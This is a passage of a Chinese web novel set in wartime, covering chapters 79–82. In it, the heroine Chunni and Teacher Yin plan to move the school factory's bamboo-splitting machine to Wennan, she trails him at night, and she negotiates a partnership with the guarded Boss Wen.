即使以尹老师的沉稳,都愣住了一瞬:“好好的,怎么会想到搬迁?” 是啊,去年冬天,倭军率先作出友好让步, 以开放港口为条件,换取了跟租界高层谈判的机会。到前几天, 运来的外国米也成功进入市场,使得居高不下的米价成功回落,在成功买到米时,人们脸上也多了很多真诚的笑脸。 租界内外的短暂繁荣似乎给了人们错觉, 他们的生活将要好起来了。 春妮一直觉得,尹老师是个深具智慧的人。他国字脸上的五官虽然生得很平淡, 作为心灵窗户的眼睛上也常年架着副厚厚的黑框眼镜,但从他不动声色获得校长的信任,以后来者之身能够参与到这种大事, 连春妮都没有觉得不妥上来看,尹老师的能力是毋庸置疑的。 要知道, 精明如郑经理,资历老如王老师,方校长都谨慎地, 暂时将他们隔离在知情人之外。 不等三人跟他解释,尹老师恍然:“对,是我疏忽了,咱们现在是得考虑搬迁的问题了。”他思路非常快,“搬迁的话,是全部都搬,还是只搬一部分?” “先搬一部分吧。全部现在都搬,也不现实。”韩厂长说。 尹老师点点头:“那就是说,海城的产业至少大部分还要在本地留一个夏天?” 他这么总结也没错,几人赞同了他的话。 尹老师立刻道:“那我建议,咱们先搬迁破竹机。” 春妮也是这个思路,但她想知道尹老师为什么这么建议。 韩厂长正好也在问:“为什么要搬迁破竹机?” “有三个原因。”尹老师不慌不忙道:“首先,我们都知道,此次搬迁是为了避免让外人染指学校产业,破竹机作为厂里的关键技术,全程由我们自己订做,图纸和技术参数都在我们自己人手上。又只有一台,只将要它搬走,就算有人来抢,没有破竹机,工作效率至少也要下降一半以上,这样,他们的利润将会至少减少到七成。” “为什么会减少七成,不是减少一半?” 尹老师作了个暂停的动作:“问题一个一个来。其次,破竹机只有一台,操作技术难度没有其他两种机器高,搬迁之后,工人跟去先不说,哪怕重新培训工人,不需要浪费太长时间。第三,也是最要紧的一点。海城周围水多,竹林却不多,其实不是最好的加工竹子的地方,如果破竹机搬到竹子的原产地,简单加工之后再运过来由咱们深加工,咱们的原材料又可以狠狠地降一大笔下来。至于失去了机器,利润会降这么多的原因,自然是手工操作没有机器的精确度,损耗会更多。” 说到这里,三个人哪里还不明白? 方校长笑道:“看来尹老师已经有了想法。” 春妮则道:“舒老师还有几位实验室的物理老师是破竹机的设计者,对手想知道我们的技术参数,不一定需要得到机器。”得到那几位老师也是一样的。 “那小顾老师的意思是?”尹老师侧身看她。 小顾老师平静地回看过去,不知怎么回事,尹老师那厚厚的酒瓶盖眼镜里头,似乎透着某种冷锐的审视。 “咳”,方校长清了清嗓子,催促道:“是啊,小顾老师,你有什么想法别顾忌,大胆说出来。” 春妮发现她疏忽了一个问题,尹老师跟校长之 间,似乎有着奇怪的默契。 或许,也跟两个人是少年时代的同乡兼同窗有关吧?还是领导跟秘书间特有的默契? 春妮按下心中所思,道:“这得看舒老师他们的想法。如果他们对薪资不满意,咱们就让他们满意点,给他们的待遇提上去。” 春妮忍不住又看了尹老师一眼,发现这位不多话的领导秘书摸出口袋里的钢笔,在埋头记录着什么。 她定定神,接着道:“看他们最想要什么。哪怕他们想继续深造,咱们也不是不能想办法。总之,要让那几位老师除了咱们学校,想不到去别处还有这么舒服的日子过。” 那是雇主常规笼络人的做法,并没有出奇之处。 春妮内心深处,其实还涌动着一个冲动:让舒老师几个最好去一个除了他们之外,没有任何人知道的地方。以前基地领导……咳,打住打住,现在不是上辈子,不能这么干,关人小黑屋是要遭天遣的。 这大概就是经历过末世给春妮带来的负作用之一。 面对困境,她第一时间,便是生出许多黑暗的念头去粗暴解决它。即使没有困境,她也很难完全彻底地相信一个人。 跟大多数只会在脑袋里想想的人不同,春妮杀过人,她虽然不热爱杀人,但也不讨厌。别看她现在干的事人人称道,大伙都说她很高尚,但她知道,她的底限曾经很低很低过,低到她想再度跨越某条黑暗的界限非常容易。 在老家时,因为堂叔一家人在夏生的事上都不无辜。她很多次差点杀了这家人。之所以最后留手,也是因为想最后骗他一笔钱。这笔春妮最后到手的麦子钱,堂叔家里是真的凑不出来,只能问旁人去借。她杀堂叔一家,除了泄愤,不会有比这更高的收益。 春妮不在乎堂叔一家人生死,但她很珍惜现在的生活。正因如此,她才明明守着空间,哪怕身陷困境,也很少干如走|私那种法律之外的事。她的守法,其实是在守心中那头曾被释放出来的猛兽。比起贫穷,春妮更怕突破了界限之后,将会发生的事。 春妮的母亲和奶奶都是最普通的华国农村妇女,她们曾教给春妮要善良,要守规矩,坏人会遭天遣,诸如此类关于这个世界的,朴素的规则。这样的规则,在村子里所有人都隐隐站在堂叔那面,在她踏入海城这个光怪陆离的地方后,便有些水土不服了。 春妮茫然之际,学校的老师和学生来了,他们为她壮声势,挺起小小胸脯,帮她喝斥想欺负她的流氓;方校长和常先生也来了,他们补齐了她对这个世界的认知,让她找到了自己想走的路。学校是很多难童的家,其实,春妮自己也是这些难童之一。 这里也是她的家。 守护学校,是春妮来到这个世界这么些年,第一件想要认真做好,有始有终的事。 不论是谁,想动学校和学校的利益,必须先问她答不答应。 春妮伸出一根手指,轻轻推动手边的玻璃杯,对面尹老师的脸在水波与光影中不断扭曲变幻。 “其实可以说服几位老师跟随破竹机一起转移。”尹老师这时道。 “这……他们会愿意吗?”方校长和韩厂长都不相信:“如果他们想离开海城,跟着自己的同学离开不是更好?” 尹老师笑了笑,“不是每个老师像舒老师那样,掌握了机器的全部参数。” “你是说,只用说服舒老师一个人就够了?” 韩厂长浓眉深皱:“可是,舒老师正是因为父母双亡,要照料一双弟妹才留下来,他妹妹说是有哮喘,需要精心养护。除了海城,哪里能治他妹妹的病?” 尹老师又笑了笑:“你不是舒老师,怎么会知道他的选择?” “那尹老师的意思,是你有把握劝动舒老师?” “我试试吧。反正至少得配备一位机械师随机器搬迁,对不对?” “也是……哦,对了,关于搬迁地的问题,尹老师你有什么建议?” “你们之前商量过吗?”尹老师不答反问。 方校长看了眼春妮,见对方似乎在走神,他道:“小顾老师建议我们搬去港城,韩老师觉得,港城没有优质的竹林,倒是双城,四面环山,易守难攻,竹子优质,关键是随着政府的搬迁,似乎有了些繁华之相,是个不错的地方。你觉得哪里不错?” “可是双城离海城太远,”尹老师道:“两地交通不便,路上成本高不说,我们的市场和精加工基地仍然在海城,一来一回需要的成本过高。” “港城呢?” “这一点我跟韩厂长的看法一致,港城没有成规模的竹林,而港城周围,除了港城是英国人管辖范围,其他地方均在倭国人手上。我们还要另外寻觅渠道运送竹子,成本仍然过高。” 不得不说,尹老师说的,字字句句都在点子上。 方校长没了脾气:“那你觉得放在哪里好?” “温南。”尹老师说出了一个春妮有些陌生的地方。 方校长恍然,韩厂长却是疑虑中透着丝……审慎?但两人都没忙着说话。 不等春妮细看韩老师的神色,尹老师开始解释:“温南在南江省最南端,离海城只有不到一千里,比港城和双城都近至少一半,关键是,温南也有很多连成片的竹林,机器运到那,不缺原材料。最关键的是,温南还在我们华国自己人的手上。” “可温南毕竟在南江省境内,是不是还是离倭国人太近了?”韩厂长道。 海城也是南江省辖属的城市之一,虽说在报纸上,倭军俨然已占领南江全境,整个江南俱在其铁蹄之下,但据春妮所知,整个南江沦陷大半,只有南江最南边的几个地区因为三面环山,一面环水,地势险要,倭军只能走海路进攻,才没有拿下南江全境。倭军没拿下的地盘,其中就包括了温南。 “整个华国境内,哪里又离倭国人不近?”尹老师轻声反问。 韩厂长哑然。 尹老师道:“不瞒大家,我母亲是温南人。温南山多田少,十里不同音,乡邻彼此来往不多。年景不好的年代,民间时常有争水械斗发生,好武之风盛行。去年倭国人坐着军舰,用大炮轰进了温南,但不过一个月就不得不退出来。除了我们温南人好勇凶悍,敢打敢拼,更是因为有大山作屏障。倭国人来了,我们打不过,扛着家什器物往山里一躲,留给他们一座空城,他们能怎么办?而我们的机器去了温南,翻过一道岗,便是另一片天地,你不说我不说,他们从哪摸得到咱们的藏宝地?” 方校长神色松动:“那……要不先派人去温南看看?” 韩厂长点了下头:“先去看看也好。” 众人望着春妮。 春妮端起玻璃杯,一口气饮下杯中之水,“咚”地一声,搁下空杯:“明天,我跟尹老师一起出发,去温南。” 第80章 080 问题 此话一出, 两名男老师先吓了一跳。 方校长忙劝:“小顾老师,外面到处都在打仗。你一个姑娘家,在外头奔波太危险了。” 韩厂长倒不觉得姑娘家有什么不能做的, 他的理由是:“你走了, 万一那些地痞流氓又来怎么办?” 前些天夜里,一伙流民打劫了高大海的粮车,逃到学校附近时,被巡视的学生看见,将人拦下来,交给了随后赶来的管事。 不知道高大海怎么处置的那些人,又过了两天, 另一伙人竟打听到夜里那帮学生的姓名,埋伏在他们放学的路上, 差点酿出杀人事故。 之所以是“差点酿出”,还是因为那些人带的刀不快,一刀捅过去,只捅破了学生的皮肉便卡住了。有机灵的学生回学校报信, 老师和 工人带着家伙赶过来,才救下了人。再晚一步, 他们带的榔头,就要把人的脑袋打破了。 如果这次来的不是连把好刀都弄不到的流民,要是换成帮派分子, 那些学生们现在说不定连胎都再投了一回。 出事之后,高大海倒是爽快, 给每位受伤学生家里送去二十块钱压惊费,还承诺在此期间,他们的医疗费由他全额给付。但学生们经此一变, 个个受惊不轻,有两个学生还因此生出了退出护卫队的想法。 春妮是学校资历最老的体育□□,这些负责安保的学生们每一个都是她亲手挑出来的,同她私人关系也不错。她一个一个找人谈话,想离开的不拦着,又用铁钉和木棒做了几根粗糙的狼牙棒,让他们拿在手里防身,再去铁号里打了几条九节鞭,教了他们一点基础鞭法,还请他们去吃了几顿肉,总算将人安抚下来。 不是春妮不想给他们更厉害的家伙,而是除了枪和战场上捡的手|雷,她手上再没有多出来的武器。给枪的话,学生们不会用,又容易冲动,使用不当,很容易反增祸事。 租界政府不许百姓持枪,就连李德三手上的那支枪,春妮还在发愁去哪找地方让他放胆开练呢。 毕竟,巡捕房的警察们对上倭国人是纸糊的,对上华国人,那可就是另一回事了。 倭国人眼皮子底下更是不行,这不是给他们借口找学校的不是吗?租界里倒有射击俱乐部,可那是给上等人用的。一张会员证五十块钱,还要有相应资产证明,难不成为了练枪,她还去买栋房子? 可惜学生们的九节鞭还没练出什么来,她就要先出门了。 一旦下定决心,春妮便不会纠结细枝末节:“都多大的人了,没我还吃不了奶?何况我又不是一去不回。倒是我家夏生,这几天我想放在学校,请师母和校长帮忙看着点。” 夏风萍这段时间忙着跟舒老师他们学习,好准备翻译文献,不方便帮她照顾夏生。 方校长刚要点头,先看了眼尹老师,似乎是确定了什么,才道:“那你去吧,夏生有我和你师母照顾,放心就是。” 事情定下来后,方校长当即放了春妮剩下半天的假,让她去收拾行李先好好休息一晚。尹老师自告奋勇,说他去买车票。两人都是行事果决的人,定下第二天出发,便分头忙碌起来。 春妮这边其实没什么要收拾的,她先去小摊那,让雇的学生们给她装了些咸菜在路上吃,将她离开这段时间的菜钱交给蒋四成,指定他负责买菜。 蒋四成是春妮最早招到小摊工作的半天班学生之一,这个男孩子年后才满十四岁。为人相当机灵,跟摊子上的客人们关系都不错。大约前些年吃了太多苦,到现在他还矮春妮一头。春妮总觉得,自己用指头在他胸膛上一点,他就能撅个大跟头。 正因如此,她才迟迟没有择定夏风萍离开后的采买人选。现在世道不好,摊贩们也不愿意送货上门。去菜市场采买大宗菜品,很容易被饥民盯上。这个男孩子太瘦弱了,若是那些饥民只劫菜也好,但他们饿红了眼睛,谁知会不会顺手给他一榔头? 蒋四成心里也打鼓,但小顾老师肯将这么要紧的事交给他,这是对他的信任。他攥紧了钱袋,同她道:“我请男同学这几天跟我一起去买菜,小顾老师,你放心,我一定守好咱们的菜摊。” 交代完工作上的事,春妮回家做了一锅馒头当干粮,跟放学回家的夏生和夏风萍说了去温南出差的事。 夏生晴天霹雳:“不行,姐姐去哪,我也去哪。姐姐你别走。” 这小家伙得知出生以来头一次跟姐姐分开,自然没有那么容易同意。 春妮哄他半天,许诺他回来后带他去西餐厅吃炸猪排,去戏园子单独听一回戏,另外加一大堆她都不知道会不会实现的诺言,总算令小家伙收起了撅着的嘴巴。 趁夏生写作业,夏风萍将春妮叫出门外:“我听说倭国人占领了温南近海二十里的一座岛屿,隔三岔五向经过的渔船轰炸,你千万要小心啊。” 这春妮倒没想到,但尹老师既然答应跟她一起去温南,想必情况不会坏到哪里去。 她不愿搞得气氛那样凝重,同她笑道:“知道了知道了,我有尹老师那半个当地人同行怕什么。倒是你,我跟夏生不在的这几天,你和朱先生两个都收敛点,别一腻歪就是一晚上。” “哎呀,你要死了啊,胡说的什么!”夏风萍羞得来打她,闹了一会儿,倒是忘了自己先前的担忧。 因为尹老师买的是早上八点钟的船票,一觉睡到天际泛蓝,春妮睁开眼,适应了一会儿黑暗,过道的另外一边,夏风萍偏着脸,睡得正香。 她想了想,没拧亮台灯,轻手轻脚起了床。要带的东西昨天晚上便打成包袱放在了门边,去灶披间快手洗完脸刷完牙,回来时,夏生穿着睡衣站到了门边,抱住了她的腰,说:“姐姐,记得早点回来。” 春妮摸摸他的小脑袋:“我会的。来,笑一个,别让姐姐出门还不放心你。” 她背起包袱,打开院门时,回身看了一眼,小小的夏生正扒在门口,仰着小脑袋拼命地眨掉眼泪,见她看过来,忙咧开嘴提起嘴角:“姐姐,我会乖的。” 春妮心中酸软,用力挥挥手,头也不回地离开。 我会回来的,好好的。 尹老师跟春妮家不在一个方向,两人直接约在了吴江口见面。 吴江口在海城的最东头,是华国最大的江河吴江的入海口。在战前,春妮想去温南,在租界内就可以乘坐火车到金市,渡江后转乘到明州的火车,再由明州转道坐蒸汽船,坐到温南下船,快的话,全程不超过一天就可以抵达温南。 但尹老师告诉春妮,明州火车站去年已经毁于战火,城内的铁轨为了抗倭需要,也应双城政府要求拆断了。春妮只能先从吴江外码头上轮渡,坐一个小时的轮渡到吴江口跟尹老师会合,再转乘到明州的海船。到明州下船后,穿过倭人封锁区,去肃州的码头,那里才有抵达温南的船。 尹老师说的时候,春妮发现她忽视了一个问题:“尹老师,这么说,咱们耗在来回路上的时间都至少要四五天?这样的话,还不如我昨天提的港城。从海城坐船到港城,快的话,一天就到了。” 尹老师还是那句话:“温南的交通成本高,但其他方面有足够的优势弥补。你就算把机器搬到港城,不也要头疼原材料的运输问题?” 春妮挥了挥手:“行了,我船都上了,是好是歹,去看过一圈就知道了。” 这样的话,她离开的时间也太长了点。幸好她为防意外,给蒋四成留了半个月的菜钱。 春妮作出不愿多说的模样,拿出随身携带的倭语书入神地看了起来。 常先生给她交的学费那么贵,春妮可舍不得浪费。一有时间,就拿出来看两眼,争取多背两个单词。 尹老师往她封皮上看了两眼,感兴趣地问:“小顾老师,你的倭语书是在哪买的?” “不是买的,”春妮嘴里念念有词,抽空回答他:“是我倭语老师小岛宁次他们学校自编的教材,给了我一套。” 小岛宁次正职是海城一所小学的倭语老师,课余时间收了几名学生作单独辅导。 “是不是海城县高等小学?” “你怎么知道?” 尹老师讽刺地笑了笑:“海城县高等小学校长开风气之先,接受市政府的建议,为学校增设了两名倭国□□和倭语课程,你不知道?” 海城县高等小学在华界,难怪最早抵受不住倭国人的压力。 “听说过。”春妮翻了一页:“除了海城县高等小学,没有其他学校使用这套教材?” “据我所知,尚无。” “也是早晚的事吧?” 尹老师掰了块馒头,放在嘴里慢 慢咀嚼,沉默下来。 春妮合上书册,失去了读下去的心情。 两天后,春妮两人踏上温南土地。 此时已近傍晚,温南的县城并不大,就像春妮的家乡忠县那样,除了几处灯火,再没有其他的现代影记。从港口走过去,一路还可以看到被炮火肆掠过的痕迹。天没有完全黑,路上已经几乎没有了行人。 小城不大,绝大部分都没有通电。春妮坚决不肯住还在点煤油灯的小客店,尹老师只好带她到唯一一所通了电灯的客栈,开了两间房,道:“天色不早了,先好好歇一晚,有什么事明天再说。” 春妮疲惫地吩咐店小二:“烧一桶热水送到房里,饭菜也送到房里吃。” “我跟她一样。”尹老师说。 “小二甩起毛巾,叫道:“两桶热水,两份饭,送到二楼甲号房和乙号房。” 见两人往楼上走,忙道:“两位客官,我们县城里边晚上八点以后禁止外出走动。没有要紧的事,两位记得不要出门。” 尹老师顿了一下:“知道了。” 吃完简单的饭菜,客栈的热水也送到了。 春妮听见店小二和尹老师的对话,让人将热水倒进浴桶中。 屋子里热得很,又关上了窗户,让袅袅的热气一蒸,越发的汗出如浆。 春妮坐在浴桶旁边,一下一下地撩水,直到听见隔壁房门一声极轻极轻的“咔”。 尹老师出门了。 春妮也站了起来。 80-90 第81章 081 灯下黑 春妮站在一棵榕树背后, 目送尹老师闪进了一条小巷子。 一刻钟前,她听见尹老师出门的动静,悄悄跟了出来, 直到对方走进那条巷子。 这一次的跟踪, 是春妮没想到的艰难。尹老师一反他在学校温吞悠闲的步态,身材矮壮的他非常机警,作了好几个反跟踪动作。如果不是她心里早有疑虑,提防了一手,说不定就暴露了。 走到这里,不是春妮不想再跟下去,而是尹老师走进的这条巷子又长又窄, 两面都是高墙,不方便隐蔽, 万一对方有帮手,前后堵截,将她拦到巷子里,恐怕她就要栽了。 尹老师果然不是普通人, 不知道他身后又站着什么人。 这一路上,越是接近温南, 有关温南的消息在春妮的刻意搜集下源源不断灌入她的脑海。 听说那一带城区名义上虽仍在双城政府管辖中,但山上匪患极多,各方势力交错复杂, 她谨慎再多都不为过。 春妮最后望了一眼对面的巷子,转身离开。 尹老师和他背后人的目的, 无非就是那台机器,也许还有舒老师和学校的钱,反正不会是她。 至于对方会不会发现她的小动作……这是对方的地盘, 他们有什么布置都不奇怪。同样的,自己想做点什么,对方也没必要怕。 只要他们想达到目的,春妮就还是安全的。 之所以知道这一点,她还跟过来,不过是想亲自确定,她的感觉有没有错。如果对方真的是诚意合作,想必会很快会有所动作。 想清楚这一点后,春妮不再刻意隐藏行踪,转身离开了藏身的榕树。 春妮的猜想没有错。 她刚刚离开藏身地,对面巷子第一户人家的二楼上的灯亮了亮,又灭了,有人轻悄悄地下了楼。 几分钟后,巷子深处的一户人家。 有人从门口返回里屋,同对面的人笑道:“老尹,马失前蹄了吧?知不知道,你那个小朋友跟过来了?” 尹老师一惊,就要往外走:“那她现在在哪?” 那人让他坐下:“你看你,着什么急?以为我们会把她怎么样?人好好地回去了。” 尹老师这才笑了笑:“我还不是怕两边生出误会,反而一件好好的事给办砸了。” “本来她要是跟你跟到这,那我们就不得不留她谈谈了。”那人点燃烟卷,吸了一口:“你这个小姑娘不简单,像是知道我们在巷子里有布置似的,只在外头打了个转,就回去了。” 尹老师笑:“你又不是头一回知道她。简单的小姑娘,能一路逃得出水灾?能跟伪军做生意?能管得住一千多个人的学校,还在码头那种地方闯下名声,上上下下都对她没有二话?” “是啊,这世道把孩子都逼得不像个孩子了。” 尹老师“咝”了一声:“你说她是什么时候发现的?我这一路,没看出来什么啊。” “真没看出来什么?” 他沉思片刻,恍然道:“难怪我说今天找客栈时,她硬是不肯住我挑的客栈,要闹着住有电灯的。我还在想,这孩子怎么突然变得不懂事了。她是来温南之前就有疑心,怕我害了她?” 对面人吸着烟,笑道:“还是个干侦察的苗子,连你都着了道。” 尹老师反省道:“灯下黑,还是我大意了。”顿了顿,又道:“那这个地方岂不是暴露了?你们是不是要转移?” “不急,我们有人盯着她,在温南这个地方,我们还不至于连个小姑娘都拿不住。”那人穿着身温南人常穿的粗布衣裳,肩膀上还打了个补丁,言语间却透出无比的自信。 “那是不是我回去后跟她谈一谈?”尹老师道:“这孩子聪明,又有行动力。不跟她明说,我怕她想东想西的防着我们,反而坏事。” “不用,”那人摆了摆手:“你来安排,我明天跟她见一面。” 尹老师一惊:“你亲自去?这不妥吧?” 他摇头笑笑:“有什么不妥的?一个小姑娘,又不是豺狼虎豹,不至于这样。老尹啊,你总是小心过了头,这样不好,小家子气。人家小姑娘只是不了解我们,又不是敌人,咱们得把人争取过来,藏着掖着不是争取的态度。” 尹老师便道:“那明天上午八点钟,悦来茶馆,我带她来见你。” “嗯,时间不早,你也该回去了。” “好,明天见。” ………… 尹老师第二天来敲春妮门的时候,她已经起了床,在房间里打过了一套拳。 昨天她等到尹老师回房,半天没有其他动静,只好先睡一觉。尹老师敲门那会儿,她正在借打拳整理自己的思路。 这会儿两人见了面,春妮也没闹清他到底知不知道自己干的事,听他道:“吃完饭跟我出去一趟,带你去见个人。” “去哪?见什么人?”像尹老师这样的人,春妮放弃了从神色揣摩他想法的念头。 “悦来茶馆。你要见的人,他会帮我们安顿好机器和厂房。” 悦来茶馆在温南的县城中心,是三层的木楼,春妮昨天进城时曾看到过,在周围一圈低矮土房子的衬托下,想让人忽视都难。 春妮“哦”了一声,关上门没二话:“那我们现在就走吧。”昨天都不怕被杀人灭口,今天光天化日的,更没的怕了。 温南县城并不大,转条街的功夫,茶楼已然在望。 尹老师将春妮引到二楼的包厢外:“进去吧。” 见春妮不动,他主动上前一步,打开了门。 站在门口,包厢一望到底,一张八仙桌,依次放了四张凳子,其中一张凳子已经坐了一个人。 那人看见春妮,笑着起身,道:“这位就是顾总工吧?请进。” 春妮笑笑,并不忌讳自己打量的目光:这人皮肤微黑,穿着件外边路人随处可见的白粗布短褂,下边是黑色吊脚裤和敞口千层底。衣服上干干净净的,倒没有补丁,只是这身打扮完全不像有能力安置机器的人。 不过在海城,像高大海这样实力雄厚的大粮商也不是什么时候都衣冠楚楚,从穿着上看人,最作不得准。 “这位是?” 那人给她斟了杯茶:“我姓闻,在城里小有些产业。尝尝,这是我们温南的早茶一瓯春,很有名。” 春妮在他对面坐下:“原来是闻老板。” 他摆手笑道:“什么老板不老板的,到哪不是赚口辛苦饭吃?不敢当。” 春妮 单刀直入:“那闻老板对我们搬迁机器这事,有什么想法?” “当然是好事了,海城那种地方,留在那早晚给人吃得骨头渣子都不剩。” “可我搬到这,就不会被人吃得骨头渣子也不剩了?” 闻老板一怔,笑道:“好问题。温南虽小,但也有其复杂的一面。如果顾总工跟我合作,这点承诺,我还是敢作的。” 春妮淡淡一笑:“谁家不夸自己茶香?闻老板这几句话,可打动不了我。” “顾总工有什么顾虑尽管提。” “尹老师首先把你推荐给我,想必其他条件你们都能满足。但有一条,我必须弄明白。” “你说。” “我来的这一路,听说温南山匪多,而倭国海军就驻扎在温南以西的独目岛上,半年前,他们刚刚攻打进来过一回。你们怎么保证,我们的货物和机器不受损失?” 闻老板笑了笑,道:“想必顾总工来之前已经知道温南是个多山的地方。我准备把机器安在城南近郊的一个伐木场旁边。那里离海岸线最远。万一倭国人攻打进来,我们可以组织工人往山里撤,连绵不尽的大山就是我们最好的藏身地。” “那也只能勉强防一防倭国人。山匪呢?” 闻老板摇头道:“山匪只会抢钱跟粮食,哪会抢些木头片子和铁疙瘩?” “这可说不定。”春妮看着闻老板:“你又不是山匪,怎么知道山匪不抢铁疙瘩?” 闻老板一怔,哈哈笑道:“顾总工真会开玩笑。” 春妮一言不发,站起来往外走。 尹老师急忙放下茶盏拦她:“顾总工,说的好好的,怎么突然要走?” 春妮眼睛在闻老板手上扫了一眼: “我不跟底细不清的人合作。” 手指细长,右手拇指和食指有茧,虎口处微微粗糙。 这个人一定没少拿过枪。 尹老师作不解状:“什么底细不清?闻老板在咱们温南也是有名有姓的一号人物,顾总工,你可别一时意气啊。” 春妮转身看着他:“温南是个什么情况,我来了这半天,已经有了点数。整个县城恐怕也找不出一间有机器的厂子,如果我们厂搬过来,不扎人眼才稀奇。闻老板说了半天,就是没提怎么保住机器。你要么是在吹大话,要么还有事瞒着我没说。我不跟不敞亮的人合作。” “说来说去,顾总工不就是害怕我们言而无信吗?”闻老板道:“实话实说,闻某人手上是有些人,万一有事,但绝对会豁出性命保住东西。” 春妮笑了,不客气道:“闻老板,我见过的生意人里,你是吹牛吹得最差的一个。” 闻老板一脸苦笑:“我说的是真的。不瞒你说,我手底下兄弟虽多,但有倭国人这条恶狗趴在门边,出海是不能出了,我总得给他们找条生路吧。你要是我,你也宁愿自己死,也要保住机器,这可不是我一个人的饭碗。” “倭国人又没挡你们的路,在这活不了,出去闯啊。海城,金城,包括明州,温南人可多了。” “不是每个温南人都会出门闯荡。再说了,这是我们的家,凭什么要我们走?” “那你们守在这饿死吗?” “我们有自己的原因。” “什么原因?” 闻老板沉默片刻,目光如炬:“你真想知道?那我——” “咳。”春妮差点被自己口水呛到,定了定神:“停停停,闻老板不用着急,我只想弄清一些事。” 闻老板:“……” 他好笑道:“都逼问我到这一步了,你又突然不想知道了?” 春妮叹道:“知道得多活不长。我问去问来,无非是想知道,闻老板是不是正经生意人,该怎么保证我们玩具厂的利益。其他的,我操不了这么多心。” “那顾总工认为,我是不是个正经生意人?” 春妮盯着他,摇了摇头:“不是。” 闻老板跟尹老师对视一眼,只听这小姑娘又道:“其实,闻老板是不是正经生意人,也不是那么要紧。这个年代,正经的生意人有几个活得下去?最要紧的,我已经知道了。” “哦?”闻老板挑了挑眉头。她知道什么了? 春妮走到闻老板面前,向他郑重行了个礼:“我先前一直怀疑闻老板是山匪,来白赚我们的机器。但若你真是山匪,是耐不住性子让我这个小丫头在你面前张狂这么久的。我已经看到了您合作的诚意,先前多有得罪,还望您不要见怪。” 春妮早就想得很清楚:尹老师跟哪方势力有牵扯,也不是那么要紧。这个年代,真正做得起来的商人,有哪个背后没有复杂的势力?至少这位闻老板给人观感不差,这里是对方的地盘,对方没有倚势威吓她,一直和言悦色,这样的态度已经足够让自己跟他谈下去。至于之后如何,自己又不是尹老师的牵线木偶,且走且看。 闻老板愣了愣,点着她笑了起来:“好厉害的小姑娘。你不来这一出,我老闻还真以为你是来刁难我的。” 尹老师无语道:“小顾老师,你真是……你怎么想的?你看我像是会找山匪合作的人吗?” 春妮瞅了他一眼,低声道:“那可说不定。”海城那些汉奸,哪个不是嘴里喊着打倒倭国人,转身投了敌? 尹老师一噎,也无奈地笑了。 气氛松弛下来,闻老板清了清嗓子:“好了,那咱们现在可以谈谈合作的事了吧?” “等等。”春妮掏出纸笔:“你先写一份保证书给我。” “什么保证书?” “你给我写一份,绝不带着机器投奔倭国人的保证书。”春妮见他发愣,道:“我可不想千辛万苦运来的机器给倭国人做了嫁衣,闻老板?” 闻老板回过神来,欢声大笑:“这有何难?拿笔来!” 第82章 082 路障 尽管尹老师和闻老板很想当场促成春妮的合作, 但别人怎么想,与春妮有何相干。她身后背负着一学校人的命运,凭尹老师跟她的那点同事情份, 还不至于让她作出那么重大的决定。 从悦来茶馆出来后, 春妮带着样品,马不停蹄去了温南的县政府,又找到温南日报,放出消息说,来自海城的富商计划在温南办厂,欲寻本地合作者。 她留下自己在客栈的联系方式,不出半天, 有闻风听到消息的城中富绅商贾赶来试探。 不少人见主事的是春妮这个小姑娘,要么心存怠慢, 随口哄骗她两句,要么以为自己受了骗,问不到两句就离开了。 想发财,连个基本的态度都没有, 对这些人,春妮也不会留他们。 有人对她要求众人写的保证书更是嗤之以鼻:“我们又不傻, 谁不知道倭国人是豺狼虎豹,不会跟他们合作的。就算签了又怎样?真投了倭国人,律法也管不到。” 还有人私下嘀咕:“小孩子办事就是想一出是一出, 这种事写在纸上有什么用?该不要爹娘祖宗的,还是不会要爹娘祖宗。” 这些人说的也没错, 不过春妮原本在乎的就不是这张纸。这些人面对这张纸的反应,才是她要重点观察的。 三天时间,春妮起码见了三四十人。温南出巨商, 以上她碰到的人毕竟是少数。也有那想借势哄骗她答应的,但一个接一个地人来见春妮,这些人反而不好再私下做小动作。 双方经过几轮试探,春妮择定几家看上去最靠谱的,将对方推荐的地点逛了一遍,再谈具体条件,算来算去,竟然还就是闻老板的条件最优厚合适。 因为闻老板说:“我说过,我只想给兄弟们找口饭吃。温南山里到处都是竹子,我不像他们,竹子不需要另外给钱,你也不需要付我工钱。我只要每个月下边人工钱发够,能让兄弟们有口饱饭,这就够了。” 春妮问他:“你不觉得我太苛刻?” 闻老板憨笑道:“老尹都跟我说了,你们也是为了娃娃们读书。我只当这些省下来的钱都给娃娃们买了本子。” 春妮终于动容:同 样是舍钱,富人的一块钱,跟穷人的一块钱绝不相同。这位闻老板跟她见过两面,他作风简朴,吃喝用度都非常普通,的确不是真有家底的作派。但他能说出跟方校长差不多的话,就足以让春妮信任他一回。 如果确定这位闻老板值得信任,合作得不错的话,适当地再让点利给他们,也不是不行。 不过这位闻老板只跟她见过这两回,确定双方合作之后,说自己还有其他事要忙,另外派了个长得白净些的男人跟她商讨合作细节。 细节在两次的见面中,春妮跟闻老板已经谈妥。海城这边出机械师,出熟练工,还要负责培训和所有经营费用,闻老板这里负责场地,经营和本地工人的部分。双方约定,合作初期,海城方面除了工人工资和经营必须费用外,不需要分出额外利润。盈利之后,按照出货量重新分配利润。 春妮对这个叫刘长庚的人只有一个要求:“我不想让人知道,我们工厂跟温南有牵扯。”春妮愿意相信他们,但他们底细不明,该防的还是得防。 他表示理解,但是要求厂方出钱,他们会在明州另外建一个商行跟温南对接,所有帐目往来不会跟海城有一分钱关系。 疑人不用,用人不疑。 跟方校长商量过后,春妮很爽快地答应下来。 等到所有细节敲定,春妮再度踏上回海城的船时,她已经出门有了一周的时间。 回去之前,春妮拒绝尹老师相陪,去了温南的药铺,找到他们的药田大肆采购一番,买了一大堆的如贝母,栀子等药材,还买到了几株铁皮石斛,这些都是温南特产药材。海城目前最短缺的物资,除了粮食,就是药材,即使不是最受欢迎的褪热止血和消炎药,进了租界,也不愁卖。 春妮虽然不会专门搞走|私,好不容易来一趟,也不会放过发财的机会。 她打电话让夏风萍帮她查访过一些药材的价格,这里是原产地,即使是最不好卖的白术,只要能顺利运到租界,身价立刻就能涨到三倍以上。 春妮还劝尹老师:“好不容易来一趟,你也买点特产,哪怕是给你母亲带回去尝尝呢。” 尹老师却反而来劝她道:“这一路有倭军的海上关卡,咱们政府的陆上关卡,到了肃州还要走一段陆路。你稍稍买一些方便携带的,别买得太多,万一被人扣下来就全完了。” 现在整个南江省,只有明州远郊,肃州一部分以及温南这寥寥几处没有落入倭人魔掌。交战双方民间虽然不禁交流,但政府军方面为了阻拦倭国部队进攻,挖断了路基,在交战交界处设立了铁丝网,木桩陷阱等路障,他们有一段路是需要步行的。 